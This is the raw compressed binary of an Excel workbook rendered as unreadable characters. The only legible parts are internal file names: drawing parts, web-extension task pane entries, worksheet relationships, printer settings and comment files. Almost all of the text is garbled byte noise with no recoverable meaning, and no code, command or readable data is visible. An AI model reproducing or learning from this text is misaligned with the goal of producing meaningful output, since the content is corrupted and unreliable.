��uT��g�d�!Q�g"R�2O�A�}(6u�K�^a�-�Q�WVm#G�0�9��B5�<����ɥ�Mt�y#�3�@;��X���D�W���x�wf�������o��;5ѻ���IW��t ��1������x���%�����3����-����~_�[��!CIT�g�l+y.����Χ|jdR���O�n0z�Y����E~��r� ��@_yٱ�sX�R�ĭ�H����g�)���d��D�víY��Cu!+�ǹ�iI�;|\����o& w�)�������<v�z"=!�:�HU��w#C�m�,'����;�VE�S��u?tj:��B<�hؼE�2�e gG:P��8��x4.�G;�ӹfX��S�ȥ���gKˈ���h�q��3�G�{C���쏮���')E�<黷�G���F����º�����:s��O�>y��'����[06�ʤt�X�����x�;�>yǿ֥?a��#��>u��B��g����o���:�o�(�I3�vx��?y��O���Q�����!��[�1N>��~ͨ^�(�xQ���6�iw?U�.'r�}�����/�'Kɤ�Qc,�G��I6A��m�h�M�u��P24��ٮx��Ԃ��˝v��1` �4�fe��bv?|�`n;�͚xCܺ�&t��hM�O���"�&��ǡH]<�<q`�Jޚ}N�� ���?�<��� ;�7�\BSD%�U]ݯԜ-]����!R���)��I�0А��*a����g����%yy$�!T>o��˻��44����(M����� VV���O�eϫsx~�� �.)��o����6Y'��1Q,\]��#9����f�ܤ�4������1D�g��'a�Е�;�ZjH�iZ9�ǖ����^"ǿFwvR�X�}G�&�r$*ӥ�j�Rl�#��;du�KP1~%�U���|�q�q�|�_C0��F���^�w���?�5�+u�\8j/J.B�@�������T�߹Vv S�+�'���Gέ{��斧�K�9!���@�ᑠN����y�J�Ԛ�?�����;������ɷO~����HދB]�O���P��+&|R��P�E�C�*j�w�\�ϖ�p◣���hg8:����Qcҏ;ί �Q��q�����?!wO�M���:i�S��G��y~��f�\����~�f��WF'��N� }��Is������c���'�_��ǓM�b����k��GN�>�R���C��g�6����$59�ce7G��P .ǿQ+����A��=����f�G��X�V�S{f}�<�W��谯t�]��Zo?�U��"U���ڗzH8�+,��,�:52�����?+4F�;�G����ٖ�.}|wTe�j�x���b�vA� ��V�y� ��v� �V۔ai���% P�<BˏuD7z2�Ъ�6�Ϸ2���A�y �RO�Jg&���}]�x~��������Q_�N��~b�U�0�~�zw�.�꽍��͎T�X�>@�;��L��)��}M��(��i���x�$���k+Q��{KB�~e��=�v����/�#��p��8�\D�k� A�������OY� ]Z��f��xĿ���B�i��2�J9������Sx�U�u_�z����F�Z��=�K[]ר��0[�:�n��~���k@ ���&�qi�и�]���C}e&(�`��(��u�'���j@.�ƒK�H9�8{υ�v?)WB4|�@1�K�j���� �.d!��(���Ute8E�?e+�3<1�9C�������i�y�c�\T����6qW�Rz�Z8���}~2�����PK!��=f�xl/drawings/vmlDrawing1.vml�T�n�0��?�!�dq�6kU�@ס�m�6`��(K��ʢa1�ӯ/%9i;�'�D���9��XF_�E_�]焯j�H?kLՁ� �*hD�X��ݘ �ʄ��TZ��s��5z���%����l��{�!���Z��7���Se��|!�0ʼO��o53��CF�[\fK�*�Ny�~�ʲi��0Z:9�P[��X����R�M�A���I��fw`�ǽ%�Ơ�Rg�Z @l�Ie��H��� ���>��Ӂ�G6/��evr�Y*��^jb҂7h� ��`w�/�Fv[�fVoP���}<m�b�ChEv�`�b�e1Tk��Q��Q���8���@��fm�����R�M��X[�����m೬��bβΒPc��iq��;��E:��Q�J#��۰�AfRV�C�-�3>���v�&�����B��ؐ|����C�4fʄ��3iQ�>'�~�����PGq�u"�<)�9Ec^>���փ���_�����E/|��A|�^�6X_ik}"����ؾtU ]j�-VSv���,^�OS�:�2��|>���xI��I��ZZ�c�a'��x(cix8l^��W.V�d\�X\ �7ut6�BE���PK!?r�@*xl/drawings/vmlDrawing2.vml�]��8��W�`��I6�|{B��z�]i�R/VUE�I���a��ؐ�Nۨ�Q�}|��3G/>��,Ep�%=�Ʊ�i�Y���Dž(�V.b��S����X��Y��nj֧�6� mX��X�}V������I%:QV��` ��Z��$�/jP�(4���.�/|�W�ڥ|:0ē�T��$�IQ$%��B�`�4�����l�[��}hd�/j۴>U���Iς�|J�k�%+�!�r�vE�p�K=T�R�0y�b���:��5��h�#)�I� {1����(��"�Ѧ�Q�;5�,*v<_�l+�e����A�5�R�y�����5{�w{I��,x���b���K��)�Otϓ��3��i�T���#�v�8� ��7?����"9�r�Q�5,q^2���!:Jq�]�V����j�4��&ⱶ �g�Hl�X0����ˢ\-�j�l8܈ ��u��b�p�F0��(�T�s��Ch����P��z�˩���z��Zm�Z�h㶾��}���hFo>�����wB6��UE�'���=KӲ�*�~��M�EQwao�,Ӟ#S�?G�;G�`��h�<��!��_��Ғi�sI=Ί�#��q.�²|�=դ�Pu��2�_�A��X{]��\�jK�[s�M� ��<�M&��v0G�&p��`8����ϓm�����@��;��5�?�ۚ�!��nӍ�nxc2$�A����7�mO|�1x+�[ћ���!|�v��m����%U~������(1��&�O���hy=�xubY7��Nx�R�\io�;�o�����t�0��ɒ؞}��D� �T�nEp��I��=<���� �M�F �O����b<�-�N�����?ebLn��D�2� ��L���1;C�9����o������8�;Jqb*��ރ��BO)�Q�0�L�e)aҊ㖭�ǻd{,��jG��L����Vȧt�!�mE{r�Q�����t}IM����wW2��ʔ�#�{(�t=(�h ����"�e�^�6�X�u�����#܄\�p�t���ܫV��×�����PK!C� �pxl/webextensions/taskpanes.xmld�j�0�`�`t_wPF��K�=��(�ilKkڷ��趣,��O��/qRg�(Y0U ��.������(�:7QBWdط��en��iv Y����ha��Қ���q����K�)j��Q/xċ`Z{Y���Mmjm��TG�TR9��:�0�Z(�%t2ZؚgP���������9i�T��)G'\Qn��ψI ��ꌓ�U=��KW�bz��vW���3�_��PK! �ҟ:-"xl/webextensions/webextension1.xml��AK�@��!�=�]M�Z����Mۢ�m2i�ݰ��Zċ�x�o:�wm����#��TJo3�^=��褮dk4d�Hf���t�l`�@����Wi��'�b�@'1�Ti ��E�騩kU=���D�g�s�*#q���y��\܈0�q(�4 Y��E!�D��?I>ıP�����I��k���#6<��X�t�^�������+�ǃ�u`�t�s�m�R��9���&����`��εQz�3N�e��q#��kO�6��#c�#��)�:��W�Rj��Γ�F�840D:���PK!��#xl/worksheets/_rels/sheet1.xml.rels���N!��&��.�T�Ɣ�ƤW��0�K\��ڷ�I�M/�1�7���r�eG�Ø�w�r�P�Nym\/���Ꞓ���r��c����b�����QLH���$�sxHj@+�]Q:�̥�=��e��h�[�=h[y��4n�5%�}(����]g����������R��,(c�&g���q��91vv\G�Yv\�詗�W笜O1�s2�h\��9�zC3 f5goƝ��9i��>�.� Lѕ�����R�~�ҫv6���!T�>l� ��PK!�(��#xl/worksheets/_rels/sheet2.xml.rels��MN�0��H��O T�*�n��ؓ�"��m �=F� ����3�~�i�W�/3�=����f%h�S����)�IX%Fg��F�n//V�8���A�H����)��(4"2��f�s����Ѓ�]�MU�B��A�l�a��)�|�����:-q��A�N��̏��=&N;6�Y)��hΉ�7�&�ϼ�DM��z��y��>'��&/�R�*74�`V7�M�%țH�ep�u��P`�.GV�A]��P(T�Sz��fZ�_>� Ňm���PK!���)xl/webextensions/_rels/taskpanes.xml.rels\�n�0�;�����aB�ioH\'�!uۈ&��h��_�Q������V�KY<G�iAQt<�8���>���8ڕ#x����w�7���%Y|U�(�R�Q�B�JÉb�L��-��3&�nv&�l�/̯�S�G�<jP�G�����]f�4��4y�T�ު�GW��π��y�b൫��#`��&S���PK!��G��,'xl/printerSettings/printerSettings1.bin�T�J�P=3����tQ�+q����U��vJ҄$3�q1tR�ɐDD���>H�.]��v!�p��3ؖ���F�����=97��|6"|A��+r���<B\�9��b���Ҝ��'�ڛԼ\H*���*���W!�r��T��Kc��e��7�_����|�.������ã���/����*0��fy�s�|;������C��:��:\7P���h�V�X��d�dTg�3oз�5�*�od�L߰,t�( 3��Q���A�Ӄ�Fa���(��:^�mtxa�w�Cg����0I�d�����j��=����h�%!�h��T�=����ǥ���֬�*w\ ��W�:���E� ��.v�Tg�ߨn��(��S��p/��&�>F��:Ou��5��( ���( ���( ���( ̢�-��PK!+���,xl/comments1.xml�RM��0����(_�:n���&�����C)�(�8�#ɉ����&)�\�13�yz�V�V+8��Қ�MFchr[H�Oُ�m3�A�B(k0ez�Ά�Un�F<��)�B��}^�~dk4tSZ�E�����W�A+>�\i� !�G@�p�M��Z��J����Γǽ�N�m��u7�Z��z[�q[�2�~�9wx��2,[�&T�K��<}�.��x����b;���Yų�h3y��{��/g_gW�Ԛ]�8��$}����2e�'N�?)�m�J�x�[�4��L��4 d�^�^{,�<��p0�����l �6GB){����%R��PIO�5����:�@���d��R)�c�nm4U�ԎPJ�@P�9���x�bO(�m&�{˓��vt���y��$a����t�?���d8��+ۨ�|�dT;��c슓:�$?+C���\2����PK!�=��8�(xl/threadedComments/threadedComment1.xmld��n�0E������5���.��uE�$l#�V���{��]�Y�b9��f�!W;]@��L?�C_�8ֵ�og�eO��My�7�*�^��QJjg�i[�ѹ%��v�T� �ԭƚ��Q���Il�ˬ�tjƌP��Χ�8��ˎ7D�H�w fU���Y7<�`�N��/��J�ʡ����) #�"#�4�e$�( ���u���G[Vs���E'�'چ��Ҕ���g�KV$D��(L�ِ#�[T�]�D����r�<��e4�s�ծS���K��o�����2���_��PK!W�� �7'xl/printerSettings/printerSettings2.bin�ZݏW?��А�*U�Th���4�7ޏDb{�]o�U4� Ϭ=�xf�/��<T���PT!��"���ڇ<�ZUU�<�3R*���z����x��s�=�wϽwf�kT�4)��$-P���9ZC�<Uh��d�:�uU��u�����ܩ���B�/e�8wb����gS��4G'�Z'N��:q�iX>�cnh��'p�E�?8V��n�B��ez�̩��}�O���i|�c�y�P7�z�}��d���#�����Ա2p�z�Q��Xg��[g~@y�DK�IY̥4-�8�dPJẁ9�P�K��`�]D+n��dyH~�����4���J�HM���KE��Y��e�]����k��ѝ�%?k����TP�j�j���/�h$�F:Si6Ե���T�Y+��5��V-؛�gn^c���@�u��w멤�}�R��el)Ɩ�6����k���"���F��>���ܨ�w]����C�h��u,�h�c�JE꺃��s}Is/l�,v��u�bYo�=cq��� -�Q�v�^m�:����"|ho�)�n���v����%/��y�Ї1g�̱���"Bx)҂$�ٴ�`��pZ����ʚ[�� �f��������,�j� �5�_Ũ;�ݺ�~ȑ5Ą�9�A�T����^�|Št�2���e���D� U<,���Z�5j�B�J�nj"�ąd"�����&T8����CY��s����[���6]��,� �i���2j���c��U��Q� �U�"��N7@`��W���:[��ߠY&�gI d���,F>�6��)۬��VW ��4+C]H��ծ8�����}*�JQ@#��(�w�S��ڎl!���(Ɔַ_E�a>�|�\�� �>�ꦯݰ�e��e��e�<�\[�] ���3�'m�鷻������.���bkQ-�բZ*Q�QW�K���ZȨ�j�E5Lc5��#��\Y����j����6ͪ�m,���./�F�Q�M0��V2S�%v/�h%��1���,�'�����bkYz��\9�@WZ������k��tM����+��c&�do��E},�s�F�v|�a���}��ך�Zz5}��.$07R+�=��O����ץ���k�{�{���q��;�m~��ݗ~��~��6�}��d7%Z�=�A,�#|�U��*�?�����$�����~<��&�wP�<�E��| ��g%�A���EQ���\�� �;�~�@�/���Y""|�9�H�=���'�[���y<8E��oI�������CaG§a+uz$_�b6���O��?6��֗�S�}8�|W�?��{�H~��C��g�gB9�y�r�쨿����_�� � �����EI~�1�0��2b�J�&p8j�ܒ�e��ӈ�[���N�;C̝x�����gG��oK�C�J��� ��u�_�䷀w� ���7q>n�J�K�W� �P��C���y��B�����<�|� <qy�h4@��x��P�*�>�u���I.�� ]�]���Di:6u�+��G�q��x�b�U=m�~J��їFu|�Dx:�/�����b �Mx݅���_���K}��� kDЦ�C"�EK�k�Ŵ_kD\�41^�ݟ0^�jʑ��f<��Z�"��99J_db@9�10;4䉁>(ޣ����Z��`���lLkst^r�-ޘ2_���M����:ȝi�цW�qM~�ʳ �3�?[��������Oo?��Im��?���Oj=��=���\�.�y���w��q�u�w�U��F{��kȃ>|ë��l�}+̱�BλWOD��=LCo���v�V�,�RB�s-|�����=M�1�VbW�y�xGm�]zZ�.�����X#��p7���#�+�4Σx?����,ڑ?�y_�a�\������]��R�����Y�k�w ��7b;�т�P�M�hˌN�{�_�O�1c^Nj9������L!���t4w���!>����W�7�a���g�Fv��x9��|�~~��o����0�h�&�*~l�e���Qx���,�?-���b�"��'�8���0�C<X�u�a�Kk]x��C]�hc}��7��#��}x��x�zσx���<|��1��m �����>��O�<�uqn����J�T������La�3�3>b%��e�w'�ms��_��PK!�q�9��xl/comments2.xml�}ks�յ��P��r����ݒZ7���AR+-��LMM[�Nl���3u��&'Cؘ`�$�T�;0Nՙ�S��0�d�g�����k��er��'[n����^{]���#?}���ʯVOo�m�?�o�@m_eu��Ɖ��gݷ�ܭ��ln[?q����^\����|���N��omV��G�=�����nv�Ա�ϭ��7Oo�>ul�<����N�;�����֩��k���������7<|�x���:v��g��b��m�=�vrm�Eyʩ���Y�8}쩓���_8�z��767��:��x��㫩����^��)��G���zv��ᱭ����X}v�^��'���5]����Uk�n�9ݩ�NO5�呃�h�����L�5Ӯ����j��nU��lu���ku�kc��'g�f���Z�==Ѭ�[��j�ޘ��4'k���D�5U�~rj�;=V��U'''��z��͝�u����v�]kך��'[��z{Ob��f�UmLM�V�'�;�N�]��rf�l�N�&�f����T�c���jwl�]o���xY���c�]a�ڜ��l1~�1;9Sm�̴��S�z}f6��nw�1��TǦ����l���OU'�&:`����L�:�v��lWkc���?f���nwr�Ӭ���9��hNM�Ov����$9a��l�k�f�ޚ��Z��l��j��vk�[�M�H[̻Y�OV�g��c����tޮLNN�b����t���l�0[Laz�55�kM4�)���5�Aֱ�fO��Wg'g[�L��u�j���cC��X�;;S�:����$�sv�ќj͌uf'�1��qjL\̭mn�TN�>��ؾ���މG�A�l>{�U�����Y�������`���,��ꉊ���|��n�9�]e��J��'+�N��x~���ƙ��&u�De�ٵM��?U��x~��'�c�/VVO�A�ት���k'OV�Y��ӧ6~�Qמ�㫕��N�V�*�C~�^9VY_}~5=����c��+�6N�>\�4݄8}f�@\V=��ɵ�_�)�ap�g��\ZK���>P��-=�q�� H��kǷN�Xyj����_�x� �sP�t�(�؏��~���QJ��ߏ-ۏ�uՄ�%��No�j���ԋ��W�����ӕ��A������W�>Tf���1�ٶR���mk�4;�/��;����G?z�2�`��������/�KÏ�م��~�� � ��^�~ixm���kÛۯT�_^���l��� ��~���o�7�_�[��7��x����2�;����F��_�W7�����;�[����~��C��^S�/��K�a�7��q{�-|W��o^�l�%S�c�<�ǽ9�!#\���m��V�7s-\Ý�w�Va��Y}���x9�)�ĺ�_�Is�6�V�%������q��{��->z ����'�r�y��&��Z�����J>"4�P63>�!o1��/�����!��~Uf!k����Ҿ�~E������k�ڷx�-Q_����o��/ ��P�˞]�5��u��T�E���{,Z(Z��i� ���AG~�5捵|9�v�2��\!�2�f+T��.a�߂����W��B}�B�N��=����7c^�;���鹊Cry���*�����������<YװS���+��L�L2���!g��7%^��Z��^Ă��g��"�B#����x�m<�����8��m��c���,��=�-=8:O�F|���y(x���+��q�Ȧ�G)�2��r��U��Ђe�_O�L�=�x��Iʛ���w�� �a�@���z&�Eߔ!!�q�np�eK���:ˠ�'�Eh���?8b_��!QEz�,�@o��)�()�Fg%ș�ڌ�xs� VG�%��&UA��x9��&�J���V�c�H�%Y��ҳ��XX���;����+������V<"a���:z2~�z�V�DD�\M��:'�I�^���4�V:���a��~&����ݢ#CM+��O�qJN��s)+|"���L3��Oߞs�\�q�3hҭ>�hh[]l��5�ͽɣ�TB<Gfn�y��'�6�c�J��$�x�m�N�?��|6|y�1�"�� BHS�4�1���-/���|9��j�f�(3��f�P��0���@�\��$J�ᐓ�gq�߃M@���n�� D3NH �NUM{l���`RhӬ�k� �����ߪM� 3��k��<�a���7�[�'�P�a�� K��߫,�Ғ&��b'��U�=��@0��iْ�DM�<�;�� ^^5=�4b~��l��T���^��l���|�q�P�vUچ�� �P�z٫�\L{�!��s��2E̡vF���#�Դc߆�8�����k}X�Y�Ө'(� =�kb����΅O�ySƨmKEف��t9��� ���s'���}�ݿ�N�+Yw4�oh��(�����h�e�{���.��;iF � ��E�!W!n�0h��5wbSq :���# T�������)����*�HaB�:�5D$��0+� �N�V7�N���2��thN!V�iN�Jt�7�"sj��< �`�� T��\ AxS� ��� �-z�M�,�}˝�N����Q.�%��-~ ��T���}s^u8�ȂР ����|���3(Ɗ�L#怸[�bEo���ȕ���)�Q�&�jn�K0���k�1%�3�tU���a���`ebn��x� �~��R�F h���+�*:���O��%�1��*�*c)�q��h$yԻ��g��[��##���i�O�����- �I���� ��i��U��ˇu�@�_�U��)��3���|��dh�04b1��� 8$I������Sa���Gf��W��Isl/��v���E(�K����m�=9j�r [�g�Ѯ2�����ڞ�/�0p���D�x�qtId��<>�u�6���X���Ln��io�l��٫LS漃�'��?.%�M�"|����̈)/a�Qb#/uZ���~�g��v��n�8����XF�G=�3��EiM���{ಔ]'�t�4���`�=�f�}�_D�w ��yB��`C�̳$7~�)�V?���c*�����QJM�������S`���E��>��[�$�7��T�,r�BZ�ë���;��|�e��i�������tbr,��K(H�Lt��e2Jq'\��r��nTO��">dZ�a3�v�C%|���ZHn�t�����(_���pY��g�1ڼ� Dd�N�Z�n���)�TL�0�j�Mo�(�2M�s&s\�R��.�s������\O�Y�/��>~~��� >�=������2N�K�j�jj�o�`����c������?���C �����z;?�W�{<6��8q��.wԽ��0����{��O���\됡.%,�x%�D��(�aF��p�0�ᎏ7�h��X��]�Ȥ���;7�� �J��g�6\-��W��G�ݭ��;8>j�?�8�VM��"��� �>r�L]*PCNu��2BB��fqp�:��5��H�8����=��L9z���<|<r����Ŗ¶E��H��X���G�5GY�p�q �"ä�W&�h�HH���]#�ϫ��$��� ��8�m2X٘�\�x6�l[Ǹ�FXڍV��S�$1f)���v�(�ڣf��v{�;s˖kSK�s5s��2�q^�[i���c��c����!�AW��S0֟���E��(++�E^~��©��v�\��6 ��Pgi�cQgŪ\��'�#�X���&|�_]BP@"y����U4�ȕ�%Jd���<ϖ��h�}@8��0��G��� K�p���gQ��|&�G�7�h".B-D����� ߘ@�CL�X��H��a��'���`L�Po�1�5��j�p�}�:/N�VO��e+ *���G�58�2�1�#��<���Z$Ҩ$(�P"&� ���p����C����y��<t�����F�I0���2�z���kۯ�r�*�rH��!��B�Qq~!�rCb �]��%�Jة��Pܽ�V?���A>�a⟶�˥w�ݳ���AQ��܌�-����r�pjd?ӖQ��Z2p���'M �I����r`�T�ך�)ɷsf|����d%� c$<�:F���s�nń} ɣ��f�h�r)~�Q��]"pO9x�"_C��Ŕ�����'��E�=T�{��a�1�F��.��@Ѩ�D�yʮ�8!� "�M"�WDv��pd��'�r >�)�8���a9-�< w*�l�u>��\�H�@�+ܣL���<��2!�K��3���ڄ�J���;'�o]5�3�� b��s��d>�P�Lh�f��>� FYZi&v�qN��%('&18x;��Y��'� �IK�����k�Q`�E����J:k9��h{��z{49��G�q��P����e�r�pK�u�bXS9��Re��å.\�h�=Z��I�dS�\����*��o�li�FP�49E(ʊ��T���F����kR� �7� �»X�%eE�f�x�H�V��7!�l�e/K�ߋ��i��{�h�74E�+�Ѻ`zLgJ�L�ىWzOˋuR.����Ρ�fJކ�A�/�p�c�+��& IֿY-�D0��s����5&*���+���V1�[H.�G�2 �=\�W�#��++A�HR��"��QFG�B/�����sGt�uE��80I�v��V����"8���xv�8g�#��� ��0b��0xI)��/�Α�]_�����O�v�Yn`�����9a�G�:�[a�W>���t�G�q�C�W�/��`��-E8����fK;�9e�J#���ɗw�'�]������2�Df,C���C����!��}�B3M%��R��lN g�C�~�6���.�+��)�X�����b�>�]�h�?1��E�߰M�B 2���+��yS��&��$L��,� }XCm �u���c�)�d���#�)V��ԣ� Iɕ�Ehu��:gB�G+�Y�#��)�ȁ5Ɣ�ɴ�c�'Jv0_���,��2a��؏��X����D�Ae1�&�r��Y-5�}�̢��"q2�Eǥ����N*��ׁ�hM��-�0olYe���� �2ΦA�����/S02��K,˃8���S������-Y��ǟǟŀ���&�F�%���3���_R,�EV�I�ԟ�k�4uN��$��$��^U�4���Xۯg�U����N�5#�(_o��f��ě�i��m���vH���!��Q\<'�)ۻ�j� N�k[4�{}�)�8,��˴�����k����wRN��ޑ�C��\)[r.I�;�'qM:Ƭ~�X\����_���̴���H4�E"i�U�Ύ�H1��}f���h�Z����B��(R����!Pq��<���q�S�w�,�w�+sz��"Đ nXvS(�F�"�A�V��7y�">�p93K�T��%�%I3�ⅱܿ���8Eշ�{5�*�t�P�8���|`K�E[����� ��ƈb�:�!I�g����n �J]�9S��B*2ޯ�A|��;��z�R���4X��B� E���mA��ɛ.\-�T�c��TM��TzT���P��$N�.�aꚯ0z�[��������e ZQ��ДV�;B�1xڪ��V����9�hQ��~%��P��!4l��Q=�� �?VƑ��ɱZ F��V: ��王�J�7�a&�F�5�SףGf1"Y���ߡ���XD����� C��J�s4�>�,�MH�>j1\�C�6oGծ�g8E�$T;����IM��@v��h"�a�$%���$��� �!���7$��i����P"&;�B}1ȔL{}��/5�$u��M\A,J|�Vj�H�8��Ƞ�z��,������EB"�s�ԴS?����~�d��nw�ѵT�I�@o�.��0��ܐ�zr*���JE-�J��9�"L�-@�>[��DH4�7� ��_�G���F?��AS�k<���!#������,�қz(v����e�Ƶ���EI� ۛ<��+sٻ�^��+%f��6��ɖ���u<�Vl�:hr���@ �_�T������f�]�h�ٛid����#8���J?1�.C�1�;�Bݭ�b��n`]�4s�*ӮwA�5���Z�B�VD4�U��#���Q�P�� �T��i$�Ϧ5W� �%������F� ˏ��Tw��{�%[4�a��c-�G�M�2R����Z�ғ���C�m��#R���e���H"�ˣ]z�I��� �{G:�e��a2m�U_�2<��Im�f~�D�@.�Zr �EO#��eo/���զ���100�%h��#�`vX�G$v�>a��@c�\%����#���a��1� 6�N������\���0�C��28��AavE �jsQm�g�in2)OE&�:%M�n����\R���a�l�#b���fW����kQhs�]����U�H'-7�,�Ĭ���9����Õ{�p��:,;�\5��̺z�t:�|���������2�c3#k�%sU���FTq�!��+�Z2��Fdb�"����C� YC���N �h\�S0Qj �4�A���aX��庝�`�.]^p�~O.8-�qi�^�9q�s?ں�JS�\�wGk�-r�)ȃb�v�b�c�@��9:�� ʽ)2A%��^�b�j��*� 곶e�P+_�"跄)�a�ؼD���Y�߫�"d�D�",B|x���Bg�FZ���.���Af蜵�爬R��i������-+�AV��5��}��ΜAſ�0�����Q�)�y#^�b����������QZ� �@��]�����壋���]��p?��S9ZK���/k�0Y��O>O%@`Z�2�V��}��Uf�!�X��0�R�) c� ���b�1S���r���zK�9��� ���H��G zRXv��#���� E��:*l�j��v����R*~�k�*�p�qbh��:.i� ��B�t]W�i�YI�JU23��I�c�)�JmJ�F�����Bi̽o�|��q[��5��r:�#�RbWڗ��#���m�{钻4�}̪FB�8��j�z-fi bW �R.��W�&�D��'�f!��B�ndD�u���uCv]@;�Γ��<��k;�b����iFPA�m�-���)!�Z��B)��t�8Rf����$��o}�̸��C: x?��:V@ϾoW�� ����Y�)!����G������,~S�K-��m��G�Ddprc�R#�O�!W�4�8��{�0+zЭ��rV#'����5 mZ�*�Eۥ�*�]�Y�����[w�*�EE�ŠX������X[�4z��5\�vf����Y9v��3z��������m�-�*�A��L���+Ċhk���<�B֍N}N�D���44Le-2��7�gn�\,l���f�u���>kfsZ���.���51w�S�r��܆ �4Y�?�ۯ��&�!�w-�ԁ5 ?�;�æ"reT��:4��u�L��Z� |a������E��Km fHW�z�ftO0������uM��~9���C�m(�z��'2�r"H�$�E)[��a��K��l�B;���VJ>����2���9���壗��m�t��F\���&o�еF'��uG��NN�� ڻJ�;���4%Fk���&B ���he� qEW�JS�h�ȼ�+���N����w�A������1�#"�X�+T�����uh�d�^�Ǭ�^Xc�?�2o��D�L6����Š�Yo�䒼��x��[V�a�T��0� � �,���w��)<�Y;CX�`�Hz��_�^#ﰯ�'���F��qY�%1���᱅Z�*]ܬ�����l9�Qa��ꛃ�����ş�A�хf������x<� + �H-�\�!�Z@������O�˗h���C�`�%�eL44я}E�xA�{�����H�`��:�1f�N3v� ���+��A�\"��q�5�J�O����Ƿ|�l�Φ��:��m+Xa2�: b���Y�!s���%�TA�|��R���ntϐ��ݳ�H��bQ,$��-\ ɍ�B˺�3�@UG$��(�U4H#����k�kJR���@o.��Ý"�Jf/�N��gmb�V:p��)>XT��J[�,�N���D����k��x�T��ˏ�+�����W�e_���P����wS��xF9��5����C9���� �-�x�@,7�r|p+��-��]��pr�hKZ}<�蠉��Y�]����KN2_sw5^������LJ��<�x�En����kfؽ�_A��!�$&H�5��+Ґ/֚r�%����5�?�*V�.�� ��� �����"�g�Y���&!��P�?��u�J��EZ!!������6�W�f������[����'� ��z���#�Ͷ\mS�>t��L�-,-�Y#� �f.A�_W� E+h����P|c�#�=���S.EL���V��ޭv�hs1"���Xa���bJ���59�r�x��X�u�S��d�5ݭ�&Z��zs�Sm�������xs�9�l��}��y$0H'NT��+��OTg�6N��]�O�Y?�6)뇟b�����"�"D�9�sx�~���]���#�e�a��MBD�'�3r'�%����=����Dl"������!�?�Ҋ�����F12���q�]6��I��^�f{�E�z/��Qy�}�_� �R7`��9��,ONN�vǻ���t�S��Z��L�3]��hM�����D�>k�{gٺ�ZS�=)��((�2=J�F|�i�® ��PP���η�{���w�1ʗ}Ŕ��!���_�N%���\O�����'��K\:m��4�I�Ow9�܁��C�Q�6�I��C����� m�ȗI#�Q�W;̽��9c���']���t�_$�`(���t����)�B��*�p�}����?:�]&̏&��u��� ��>>hA�n�H��� s�r�m̨�`Z�+�<��Ht�̾z�ʆ��5F�Ϭ,�n~�eЉ�r��D���� �s'��3�윣n�Q�wy�a��N�\�w��D3��&�|���ij[��_��x�E{�[�2�9!������6�w��w6�E��W ;�Ƌ�3;�v� ç����c��S�"l��]\��}�JӚ0�{q�]"`.�5�~C�c�������`c�l��H��`���L��F�I� �ٽD��&@1�DR�f�DI,�#�NY��UJ�E���Ze��Zv��T8+!]�F�l�v�<f̑ȟըh��|�B�U��rL�$�@�.�:�š ���x�$�n��=��Qg�Sa��X�Q���3aԮ�Y�l+�Ȑ���|o,l�ԧ��)V{���`=^��4=����o��tʽu-��g:�ԃţ���+s��!�ٱ��B',f��N��Yu(� 2����8cI.�m?����t���z�o�8��W\_e�'�[A��}Z��V�1�� �X�Mi�Í��ƪ�lF�R�Ǯ�#=q�V�MX�ѫ�gKLk�*���0�r%�m�2���4���b_a���[��V�?��Sh*[c.���CG�B1�O��_ 9�7N�(�f\6'�֗L�O��By" K�M�}Kqu�x2���r������R� �ڡ[�b?ȶ�6�L�R6x�����!�ۢ�� ���G3f{I��@o�ɫ��9?��\��lC����ޓ��x�V�Gh�+��T�T�l�&.I���H�B����"��F�O ��a�>�� #&����u���]%�� 6�q��! ��F�S�D���ġm �X��Ro/�Veb��]�L�fK��NXv�\����1𢿵L�[.{��w�̨�Bw.�,y�G�2+�z�Ojo��4<��4#lX�{^�ZR�9�99�#�t�6�F�f�"�QR��KO�ס���h�uA� 5���K�CKЛi��v�U�a�ʅ~FE~�5q��,@"R;�c@w��� �^j�٨Ỉt�Ĩ�pd8�S�)�c]���xudFH�2m��Lc:� ���[q�;����0~��$\���_6kG��*�y%�e�c�3L.uEq3�*Eβ���W:ev�B�MS�Ne�YM����T����J�0�U=́��6��H.�Ʊs�K{QO�GM�~QXQ�@>ZJ2���X���o *X�+� �VC�ތL�wb4��g,I��߅6� �b/d=�'F��&����Nj$�©�%8 L.����OY�\��6M$�2{3��Yܑ�qF�&��{J&�H�:��4��G����?E�\ʶ�0̓��G��D���(,�(G�gR��YK�aarF�m�E�%\2�`K澘��Ή��k�i��Ѭ�ݖ��;��� �� �Cb�Ȏ���Y�Ԃ���{Ll�L�K(�"�x�݆���)7I|2�n&U��})��JE�ح����;c���4�V*791�n��C-rf�C�٪5�'�ձ�f�������l�ڞi�P�ܝ�u��s�Qn�t:�f�*� w���C�@K�WD�YzA�S�e�E6lI�"A�����$�j_r�.ŧ�Ӂ�{d0���B\�q�0�\�Z�RgT�p;Vj)Xgx١�V����E�;�az`I'��$,��0�]�A��xM����3\����m� �l^=^����a�$�g�V���p��Թ�t� �.C`ނ!4"у$�R8��)}ٓ��'�^M�Yy����T��zK�l�� ���Z����ބ�e,��/d!9\U��55 %6�b۪[�,bw_���U��v�Ie�1�͔!݀`�-E�X�C���yamN���u��������x� �T8�F/@fSHv���,Db�w�%g�u���=��q� r��*��Ѧ���.8W@ ȢM�2V�{l�����ᴗq��̛�gĠ� $/�d�-����P�"�ߊ�d�/t{�u�e�+��E�Hmk�=�a�'���P����N"aֈ���b�W/��M�e �AǺ�h��/iiW��JZ0��vܵk�1�T~���X%�Lm�� ��v���c�W���%ƠM�L��"�:I��>�o��np��5�-�sG�g�ldb+2�+m���]��r�%����\�O��N�lV��4�����G6Q��)T�Lw�'#���0��Ҡ�K0C��v�@l�a�e��t��aɻq��w�D�v�i��4|St����l�t�a)1�N�~�-{��]vƗ7'ʓv�M�Y�zh�*v&�`�ͳ�R��(�t�k�*,Ȱ T�d�\)���t{,�o��@�u�T�F� �u#2[�~R ���C1R����\��j�d\E�c�Bot�0�J�o����\Ux�j����ϑ�("��z��Z$��D7�N��p�O ��Q����B��D�. �9v�rR����+wJK�݅���y'툳�V�M�?(��uK.��ɂ�vY5D��nV��Q�(�k��`8�����2���F���q���� �A��+�����pyq�y�S�.9.x��6'�a�J�K�'����db7� ?�\�I�������P��<Ԙ��<�w@K$�J�`�H+EF�ޕ��d�,��8";�5:��� � �ʒ�2�{���+��;�_`:�P�?�q�v���`����I �F��Q+f*�ٗ��Pȸl%���0" Ft�8�M��Q�4*���+:4�%ft�1H����L��L4o��u�$��#Q�����j h��Y]2w��,(�x�� (l�,M.�8ҝ!�Y��h5�@�Yk`���@fijL����x�|�V���^5,Ѡh5Z���d�\� 